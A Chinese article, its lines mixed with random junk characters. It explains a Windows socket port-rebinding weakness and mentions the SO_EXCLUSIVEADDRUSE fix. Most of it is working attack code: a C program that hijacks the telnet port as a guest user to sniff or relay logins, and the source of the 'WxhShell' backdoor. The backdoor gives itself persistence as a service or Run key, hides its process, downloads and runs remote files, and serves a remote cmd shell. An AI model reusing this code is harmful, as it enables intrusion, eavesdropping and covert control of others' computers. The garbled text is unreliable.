在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
S*n@81Z s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
="g*\s?r
K#U<ib-v saddr.sin_family = AF_INET;
mL4] l(U xl#LrvxI saddr.sin_addr.s_addr = htonl(INADDR_ANY);
q#8 [ ~I}&V T bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
qBCK40 zF`c8Tsx]) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
rf$X>M=G rp0ZvEX 这意味着什么?意味着可以进行如下的攻击:
+gLPhX:` ? 8LXP 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4vwTs*eB` kP?KXT3y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
et }T%~T M6}3wM*4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
'60 L~`K K5XK%Gl" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
IhA* " (e[}/hf6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
8:/e
GM /IM#.v 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
,j$Vvz 3l#IPRn9AO 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
uxzze~_+C P<f5*L#HD #include
6C+"`(u%V #include
)lZp9O #include
?G-e](]^< #include
_C`K*u
6Z< DWORD WINAPI ClientThread(LPVOID lpParam);
sUU{fNC6| int main()
zNIsf" {
1SR+m>pL WORD wVersionRequested;
qIAoA. DWORD ret;
gwWN%Z" WSADATA wsaData;
YE9,KVV;$n BOOL val;
dtcIC0:[ SOCKADDR_IN saddr;
pb=cBZ$ SOCKADDR_IN scaddr;
7__Q1>o int err;
$]A/
o( SOCKET s;
uECsh2Uin SOCKET sc;
Gqy,u3lE int caddsize;
yfC^x%d7G HANDLE mt;
N+y&,N, DWORD tid;
nVI!@qW wVersionRequested = MAKEWORD( 2, 2 );
E,f>1meN= err = WSAStartup( wVersionRequested, &wsaData );
T"0,r$3: if ( err != 0 ) {
L_K=g_] printf("error!WSAStartup failed!\n");
}sOwp}FV8X return -1;
pe{;~-|6 }
y})70w@+_ saddr.sin_family = AF_INET;
6%VV,$p gw}Mw //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
:bC40@ Z>^pCc\lH saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
`2PLWo saddr.sin_port = htons(23);
<E0UK^-} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4M^G`WA}t9 {
D7S'*;F printf("error!socket failed!\n");
b/Xbs0q return -1;
ME=/|.}D< }
44F`$.v96 val = TRUE;
jWYV#ifs2 //SO_REUSEADDR选项就是可以实现端口重绑定的
qvv2O1c"A if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
r{rQu-|. {
?2g`8["> printf("error!setsockopt failed!\n");
HO''&hz return -1;
[l8jRT=R }
3hK#'."`N //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
wW/7F;54 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
P:N1#|g //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
0s>/mh; |a#f\ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;Yg{zhJX~ {
U_{Ux2 ret=GetLastError();
<!pvqNApg printf("error!bind failed!\n");
<bD>m[8, return -1;
EVNY*&p }
L^{|uP15N listen(s,2);
PtTH PAKj while(1)
gL3"Gg3 {
5e fpeu caddsize = sizeof(scaddr);
nM0[P6p //接受连接请求
[u._q:A sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
u@4V7;L if(sc!=INVALID_SOCKET)
6HlePTf8 {
,yTjU{<" mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
<fs2fTUeqF if(mt==NULL)
s\P2Bp_{ {
2^^=iU=!<| printf("Thread Creat Failed!\n");
d`/tE?Gw break;
zH*KYB }
m{7(PHpw }
q/4 [3h CloseHandle(mt);
E~a3r]V/ }
=k oSUVO0 closesocket(s);
51QRM32Y
WSACleanup();
7k( Kq5w. return 0;
t&(PN%icD }
gy;+_'.j DWORD WINAPI ClientThread(LPVOID lpParam)
5P'p2x#U {
c-Pw]Ju SOCKET ss = (SOCKET)lpParam;
+L5\; SOCKET sc;
QzAK##9bfa unsigned char buf[4096];
=dx1/4bZl| SOCKADDR_IN saddr;
ykFJ%sw3X long num;
%/rMg"f: DWORD val;
V._(q^ DWORD ret;
ZZyDG9a>7 //如果是隐藏端口应用的话,可以在此处加一些判断
j6g[N4xr //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
A mwa) saddr.sin_family = AF_INET;
# (- Qx saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
%~QO8q_7 saddr.sin_port = htons(23);
Wy%s1iu if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|qoKO:B4-[ {
)<xypDQ printf("error!socket failed!\n");
&< !Ufa& return -1;
2r6'O6v }
"{D|@Bc val = 100;
h48SItY if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
E!O\87[ {
{$1J=JbE ret = GetLastError();
>G 'SbQ8 return -1;
jU5 }\oP@ }
7^Yk`Z?|a if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#"49fMi/ {
raQ7.7 ret = GetLastError();
E{2Eoj;gq return -1;
9RWkm%? }
-$,%f? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
10#f`OPC {
(4%YHS8 printf("error!socket connect failed!\n");
Ve/xnn]' closesocket(sc);
PTS]7 closesocket(ss);
XhPe]P return -1;
g%k` }
fkSwD( while(1)
ILic.@st {
[JaS??ig //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
wlPx,UqZ //如果是嗅探内容的话,可以再此处进行内容分析和记录
@p|$/Z%R, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
/N-_FMl? num = recv(ss,buf,4096,0);
,Hgc-7g@Y if(num>0)
$ F S_E send(sc,buf,num,0);
1LY8Ma]E else if(num==0)
c~o+WI
Ym break;
Q_vW3xz num = recv(sc,buf,4096,0);
U #~;)fZ if(num>0)
:>81BuMvg send(ss,buf,num,0);
cGwf!hA else if(num==0)
p)~lL break;
&ciN@nJ|$z }
S{K0.<,E closesocket(ss);
8/"fWm/ closesocket(sc);
Rl6\#C* return 0 ;
Vj!rT
<@ }
wP/A^Rs BQ jK8c< 1R.4:Dn_ ==========================================================
&'' WRgZ} K]xa/G( 下边附上一个代码,,WXhSHELL
Cb:gH}j %AW4.3()8 ==========================================================
n$:IVX"2b zT ZVehEe #include "stdafx.h"
<A.W 8b7D 4c+$%pq5 #include <stdio.h>
UgN28YrW #include <string.h>
-!({BH-M_ #include <windows.h>
pDhse2 #include <winsock2.h>
#pHs@uvO #include <winsvc.h>
_U{&@}3
#include <urlmon.h>
&J!aw ,Os? f:Y6 #pragma comment (lib, "Ws2_32.lib")
CD0VfA>Z #pragma comment (lib, "urlmon.lib")
)RsM!} dXn%lJ #define MAX_USER 100 // 最大客户端连接数
5TUNX^AW #define BUF_SOCK 200 // sock buffer
.4l/_4,s_ #define KEY_BUFF 255 // 输入 buffer
-xD*tf* `O6:t\d@ #define REBOOT 0 // 重启
k6Cn"2q < #define SHUTDOWN 1 // 关机
H7[6yh tMj1~
R #define DEF_PORT 5000 // 监听端口
Ay{t254/ 7P7b8] #define REG_LEN 16 // 注册表键长度
aJqeD'\> #define SVC_LEN 80 // NT服务名长度
!rhk
$L eb|i3. // 从dll定义API
$c&0F, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
a8AYcEb typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
yA[({2% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
x&A vUJ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+!0eu>~_& S|B$c E // wxhshell配置信息
H@uE> struct WSCFG {
EC6k{y}bA int ws_port; // 监听端口
3I 0eW%, char ws_passstr[REG_LEN]; // 口令
)$Z(|M4 int ws_autoins; // 安装标记, 1=yes 0=no
nIfCF,6, char ws_regname[REG_LEN]; // 注册表键名
~svO*o Wa char ws_svcname[REG_LEN]; // 服务名
Vc3mp;6" char ws_svcdisp[SVC_LEN]; // 服务显示名
gX5&d\y char ws_svcdesc[SVC_LEN]; // 服务描述信息
s:y
^_W)d char ws_passmsg[SVC_LEN]; // 密码输入提示信息
#&,H"?" int ws_downexe; // 下载执行标记, 1=yes 0=no
AD('=g J char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
V^il$' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
-p-0;Hy ->lu#;A5 };
W0cgI9=9 %}>dqUyQ // default Wxhshell configuration
/Y^8SO4 struct WSCFG wscfg={DEF_PORT,
Wd(86idnc "xuhuanlingzhe",
}vt%R.u 1,
efz&@|KR "Wxhshell",
G&f7+e "Wxhshell",
YH:8<O,{- "WxhShell Service",
FnHi(S|A "Wrsky Windows CmdShell Service",
8X?>=tl "Please Input Your Password: ",
AKu_~bTk 1,
)fU(AXSP "
http://www.wrsky.com/wxhshell.exe",
kD.pzxEM "Wxhshell.exe"
'b"TH^\ };
#Tp]^
n Z%gx%$ // 消息定义模块
>P. 'CU char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
f0Hq8qAF;^ char *msg_ws_prompt="\n\r? for help\n\r#>";
y:}sD_m0W char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
{fSfq&o char *msg_ws_ext="\n\rExit.";
sNU}n<J- char *msg_ws_end="\n\rQuit.";
mE#nU(+Ta char *msg_ws_boot="\n\rReboot...";
#<CIFVH char *msg_ws_poff="\n\rShutdown...";
BC\S/5~k char *msg_ws_down="\n\rSave to ";
+1;'B4 /2NSZO char *msg_ws_err="\n\rErr!";
'7Ig.K& char *msg_ws_ok="\n\rOK!";
uL?vG6% ^1 7]22"mc char ExeFile[MAX_PATH];
v
vE\ int nUser = 0;
`3iQZui HANDLE handles[MAX_USER];
?n'OF pd int OsIsNt;
%kU'hzLg PoD^`()FR{ SERVICE_STATUS serviceStatus;
'=cKU0
G # SERVICE_STATUS_HANDLE hServiceStatusHandle;
X,v4d~>] msk/p>{O // 函数声明
yi!`V. int Install(void);
keqcV23k int Uninstall(void);
>[*4Tjg int DownloadFile(char *sURL, SOCKET wsh);
rj H` int Boot(int flag);
So4nJ><p void HideProc(void);
s'_,:R\VM> int GetOsVer(void);
b7h+?!H]R int Wxhshell(SOCKET wsl);
P -Fg^tl void TalkWithClient(void *cs);
'dt\db5p int CmdShell(SOCKET sock);
4Nmea-!* int StartFromService(void);
C9KWa*3 int StartWxhshell(LPSTR lpCmdLine);
S_8r\B[>P =3ADT$YHd VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
AZZRa69= VOID WINAPI NTServiceHandler( DWORD fdwControl );
PJ 9%/Nrh E20 :uZ7\ // 数据结构和表定义
%AR^+*Nu SERVICE_TABLE_ENTRY DispatchTable[] =
%%g-GyP
1 {
{K7YTLWY {wscfg.ws_svcname, NTServiceMain},
^b53}f8H {NULL, NULL}
v:d9o.h };
QB1M3b t =dO // 自我安装
?y-s20Kd int Install(void)
4#Eul {
k90B!kg char svExeFile[MAX_PATH];
y(8d?]4:_ HKEY key;
&:!ij strcpy(svExeFile,ExeFile);
?q%b*Ek FDLd&4Ex // 如果是win9x系统,修改注册表设为自启动
V-vlTgemwc if(!OsIsNt) {
W(@>?$& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
k:P$LzIB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%2yAvGa1 RegCloseKey(key);
SFO&=P:U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
D<nxr~pQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!A[S6-18%- RegCloseKey(key);
2a[9h# return 0;
AMk~dzNt }
pT=2e& }
fI11dE9&?[ }
$!`L"szqD* else {
#pu}y,QN$ o=9' // 如果是NT以上系统,安装为系统服务
K}2Npo
FS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
RG?MRxC if (schSCManager!=0)
,h!X k {
97x%w]kV SC_HANDLE schService = CreateService
@}eNV~ROu (
j-* TXog schSCManager,
c$#GM57V wscfg.ws_svcname,
P^(.tr3t wscfg.ws_svcdisp,
&|=?acv SERVICE_ALL_ACCESS,
UB&2f> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
:QKb#4/8; SERVICE_AUTO_START,
o>!JrH SERVICE_ERROR_NORMAL,
N5\{yV21", svExeFile,
$Q4=37H+ NULL,
nW&$~d NULL,
#`j][F@N NULL,
]<X2AO1 NULL,
.&(8(C NULL
I*c;hfu );
BkT-m'I? if (schService!=0)
(C~dkR? {
(rMZ CloseServiceHandle(schService);
2f`xHI/@fj CloseServiceHandle(schSCManager);
`Qq/F] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
-kc(u1! strcat(svExeFile,wscfg.ws_svcname);
qC.i6IL if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
0Bu*g LY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
kJeu40oN RegCloseKey(key);
6J;i,/ky return 0;
:A*0 ]X; }
6EP~F8Kd }
+:y&{K CloseServiceHandle(schSCManager);
lA4hm4"i(, }
9}XT'+`y }
O0zi@2m?B VIYV92[ return 1;
R.UumBM }
k.{G&]r{ }s6G!v^2"" // 自我卸载
;/aB)JZ5= int Uninstall(void)
+3HPA#A {
Z^+a*^w~{ HKEY key;
D1!
{S7 1t%<5O;R if(!OsIsNt) {
)"-fHW+fy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`uhL61cMp RegDeleteValue(key,wscfg.ws_regname);
r\bq[9dX> RegCloseKey(key);
]
?9t - if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
c85O_J RegDeleteValue(key,wscfg.ws_regname);
:H3(w| T/ RegCloseKey(key);
.m!s". ?[ return 0;
(n}%a6M }
/KP_Vc:g2_ }
b.,$# D{p }
!?n50 else {
s+N^PX3 }8
\|1@09 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&*ZC0V3 if (schSCManager!=0)
@LHtt/& {
#!Ze\fOC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
?KCxrzf if (schService!=0)
Z]p8IH%~92 {
Y8t
Nwh if(DeleteService(schService)!=0) {
?d#Lr*m CloseServiceHandle(schService);
XX:q|?6_ 4 CloseServiceHandle(schSCManager);
|zb`&tv} return 0;
oX#9RW/ >I }
-P*xyI CloseServiceHandle(schService);
-D;lS
6 }
%p}qO^%M CloseServiceHandle(schSCManager);
ha5 bD% }
/Q]:Uf.J }
Ef-a4Pi $Llvp bl return 1;
b_ypsGE]5! }
"u,sRbL G+fd.~aGE // 从指定url下载文件
(}6wAfGo int DownloadFile(char *sURL, SOCKET wsh)
oq243\?Y {
.?70=8{ HRESULT hr;
B0S8vU char seps[]= "/";
N]V/83_ char *token;
>|5XaaDa char *file;
xdCs5ko char myURL[MAX_PATH];
v'K
% %z char myFILE[MAX_PATH];
_>;&-e z?I+u*rF6 strcpy(myURL,sURL);
Mo~ki"9. token=strtok(myURL,seps);
sb`&bA;i while(token!=NULL)
P~o@9RV- {
(}sDm~;s file=token;
jjYM3LQcdP token=strtok(NULL,seps);
_qEWu Do }
5a8JVDLX^ ~.iA`${y% GetCurrentDirectory(MAX_PATH,myFILE);
p[_Yi0U strcat(myFILE, "\\");
i+U@\:= strcat(myFILE, file);
HKM~BL
"X send(wsh,myFILE,strlen(myFILE),0);
t2Ip\>;9f send(wsh,"...",3,0);
}z8{B3K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
B,w:DX if(hr==S_OK)
}FHw"
{my return 0;
F
ZM2 else
l&vm[3 return 1;
K*0aXr? jGJ.Pvc>i }
`!] R!T@C 4n#YDZ // 系统电源模块
G]1(X38[si int Boot(int flag)
r(pwOOx {
IU7$%6<Y HANDLE hToken;
e21E_exM0 TOKEN_PRIVILEGES tkp;
U8EJC
.e&O ;5-R=e(KA if(OsIsNt) {
]s f2"~v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
zoJ_=- *s LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Wk7L:uK tkp.PrivilegeCount = 1;
};i&a%I| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
c6f|y_2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
@< wYT$ if(flag==REBOOT) {
u,:CJ[3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
j
l}!T[5 return 0;
Fecx';_1` }
mx:J>SPA8 else {
8e]z6:}'E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
0Z@ARMCe|m return 0;
E"G:K`Q }
Y]hV-_2+Do }
KuIBYaK,
g else {
<j{0!J@: if(flag==REBOOT) {
XulaPq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
aytq4Ts return 0;
X!HDj< }
I/oIcQS!k else {
~8XX3+]z:X if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
hN Z4v/ return 0;
J'I1,5( }
tniPEmeS }
8f /T!5 av'd%LZP return 1;
[`y:M&@ }
C}n[?R MMd0O X)P // win9x进程隐藏模块
TS\9<L9S void HideProc(void)
x{=[w` {
ERUs0na] ;% /6Y~/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
q"{Up if ( hKernel != NULL )
!w @1!Xpn1 {
=Jsg{vI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
.jvSAV5B ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
NFrNm'v FreeLibrary(hKernel);
A2}Z
*U(; }
|h#DL$ %KbBH:z05 return;
t-.2+6"\ }
qf_hb *37LN // 获取操作系统版本
"bHtf_ int GetOsVer(void)
V}vl2o {
k7:GS,7 OSVERSIONINFO winfo;
&&]"Y!r - winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
=-OCM*5~S GetVersionEx(&winfo);
,maAw}= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
"[%;B0J return 1;
ZAI1p+ else
2neF<H?^o return 0;
>P<k[vF }
A8_\2'b kS@9c _3S // 客户端句柄模块
I>A^5nk int Wxhshell(SOCKET wsl)
`f\5p+!<7R {
=XZF.ur SOCKET wsh;
R=][>\7]} struct sockaddr_in client;
Qh)|FQ[s$r DWORD myID;
g`%ED0aR WHlD%u while(nUser<MAX_USER)
^2&O3s {
O!#L#u53 int nSize=sizeof(client);
\SYPu,ZT wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
&Iv\jhq
if(wsh==INVALID_SOCKET) return 1;
I><99cwFI xTa4.ZXg handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
"o\6k"_c> if(handles[nUser]==0)
G=r(SJq closesocket(wsh);
Gk{
"O%AE else
NZfo`iHAN nUser++;
!~Hafn-1 }
(hhdbf WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
5@w'_#!) <Z\MZ&{k{* return 0;
bqZ?uvc3 }
O4 +SD N:UDbLjw~ // 关闭 socket
fl
pXVtsQ void CloseIt(SOCKET wsh)
b9W<1eqF {
syWv'Y[k? closesocket(wsh);
;a!h.8UJPI nUser--;
jyY ^iQ.2 ExitThread(0);
cc2d/<: }
?`vM#) *@-q@5r}! // 客户端请求句柄
9J-!o]f .b void TalkWithClient(void *cs)
NDs]}5# {
9 NGeh*` Z4wrXss~ SOCKET wsh=(SOCKET)cs;
p%1xj2 ?nN char pwd[SVC_LEN];
SXHru Z char cmd[KEY_BUFF];
F8|5_214' char chr[1];
1+16i=BF) int i,j;
N=O+X~ [[*0MA2Y while (nUser < MAX_USER) {
buq *abON 4%',scn if(wscfg.ws_passstr) {
Mm>zpB`qP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3/A[LL| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6k@% +<1 //ZeroMemory(pwd,KEY_BUFF);
T!=20 !I i=0;
I:uQB! while(i<SVC_LEN) {
}\PE { 'gk81@| // 设置超时
zJy 89ib' fd_set FdRead;
h+zkVRyA struct timeval TimeOut;
.J<qfQ FD_ZERO(&FdRead);
i(&6ys5 FD_SET(wsh,&FdRead);
'y+bx?3Z TimeOut.tv_sec=8;
p5twL TimeOut.tv_usec=0;
x8SM,2ud int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
6KIjq[T^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
5Gw!9{ke \Age9iz& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
:o.x=c B pwd
=chr[0]; <6}f2^
if(chr[0]==0xd || chr[0]==0xa) { c]g<XVI
pwd=0; @MlU!oR&
break; <WHs
} "a0u-}/D
i++; ~kSnXJv
} bgzT3KZ
lH,]ZA./
// 如果是非法用户,关闭 socket *Lb(urf
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <QkN}+B=
} V~]'+A
q>
n&3iv^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gw\G+T?M-
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'sjJSc
9GtVI^]
while(1) { RV#uy]
Zs3]|bUR
ZeroMemory(cmd,KEY_BUFF); @T,H.#bL
7fN&Q~.
// 自动支持客户端 telnet标准 7&RJDa:a7T
j=0; PPj6QJ]R0
while(j<KEY_BUFF) { cvs"WX3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~-`BSR
cmd[j]=chr[0]; r0?hX
if(chr[0]==0xa || chr[0]==0xd) { p~d)2TC4#
cmd[j]=0; }VGI Y>v
break; u':0"5}
} :m)Rmwn_
j++; giSG 6'WA
} +Qi52OG
@8Q+=abz
// 下载文件 .
tH35/r
if(strstr(cmd,"http://")) { k`2B9,z
send(wsh,msg_ws_down,strlen(msg_ws_down),0); y_7XYT!w
if(DownloadFile(cmd,wsh)) \\R*V'e!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gGiV1jN_
else #*>7X>,J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @k:f}-t
} wzQdKlV
else { 1<qVN'[
.X<"pd*@e
switch(cmd[0]) { 1n"+~N^\
.2{C29g
// 帮助 V=l Q}sBY
case '?': { s:jL/%+COZ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;FgEE%
break; [Tb3z:UUvf
} tEWj}rX
// 安装 U+RCQTo
case 'i': { R/Dy05nloe
if(Install()) /m{?o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8|jX ~f
else R0YC:rAt
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dho^^<`c+
break; P B6/<n9#
} c@o/Cv
// 卸载 /P8eI3R
case 'r': { i:Z.;z$1
if(Uninstall()) QhE("}1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]N(zom_0d
else Dpp52UnTE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ng;b!S
break; ;cm{4%=Iqe
} ,f/IG.
// 显示 wxhshell 所在路径 ?j4,^K3
case 'p': { ++{+
#s6
char svExeFile[MAX_PATH]; Kt* za
strcpy(svExeFile,"\n\r"); /=U v
strcat(svExeFile,ExeFile); o%~K4 M".
send(wsh,svExeFile,strlen(svExeFile),0); :J4C'N
break; )r|zi
Z {F
} #:\+7mCF
// 重启 J*lYH]s
case 'b': { MTITIecw=
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mi/'4~0Y
if(Boot(REBOOT)) GLKN<2|2@y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5W]N]^v
else { f$@".
closesocket(wsh); \$HB~u%dr
ExitThread(0); !{~7 )iq
} l& ^B
break; @n;YF5
} 1d@^,7MF-
// 关机 J>|:T
case 'd': { f?<M3P
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $E~Lu$|
if(Boot(SHUTDOWN)) CL}I:/zRB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n$![b_)*
else { DwrCysIK
closesocket(wsh); 'm!11Phe
ExitThread(0); x]J-q5
} &\]f!'jV
break; \=G
Xe.}4d
} ~z1KD)^
// 获取shell Jp*AIj
case 's': { BK\~I
CmdShell(wsh); S~(VcC$K
closesocket(wsh); -JO46
#m
ExitThread(0); o(SJuZC/U
break; Z-p^3t'{
} &$z1Hz +l
// 退出 g$T_yT''
case 'x': { nPIR1Z
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !/(}meZj
CloseIt(wsh); TtjSLkF
break; eWk2YP!
} zt?w n*_
// 离开 o-CJdOS
case 'q': { leYmVFE
send(wsh,msg_ws_end,strlen(msg_ws_end),0); nT.2jk+
closesocket(wsh); 'nDT.i
WSACleanup(); I/-w65J]
exit(1); L2O57rT2
break; 4aGpKvW
} awW\$Q
} `M<G8ob
} yhn
$4;m
C`_D{r
// 提示信息 5F+ f '~
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !<PTsk F
} Z6AU%3]
} COL8YY
3Co>3d_
return; Cwa0!y5%
} ?&nz
L#@$Mtc
// shell模块句柄 w>UV\`x
int CmdShell(SOCKET sock) dZYJ(7%
{ ^Jpd9KK
STARTUPINFO si; >)Z2bCe
ZeroMemory(&si,sizeof(si)); 4_:e+ ql
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; td$6:)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xENA:j?kF
PROCESS_INFORMATION ProcessInfo; 44{:UhJkx
char cmdline[]="cmd"; s ;Nu2aOp7
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XUNgt(OGR'
return 0; 5h^qtK
} (9_e>2_
F%$Ws>l
// 自身启动模式 00wH#_fm
int StartFromService(void) ]Oh>ECA|D
{ 2}\sj'0&
typedef struct ^B=z_0 *
{ (y4Eq*n%!
DWORD ExitStatus; cW/~4.v$
DWORD PebBaseAddress; g^^m
a}i
DWORD AffinityMask; C4TD@
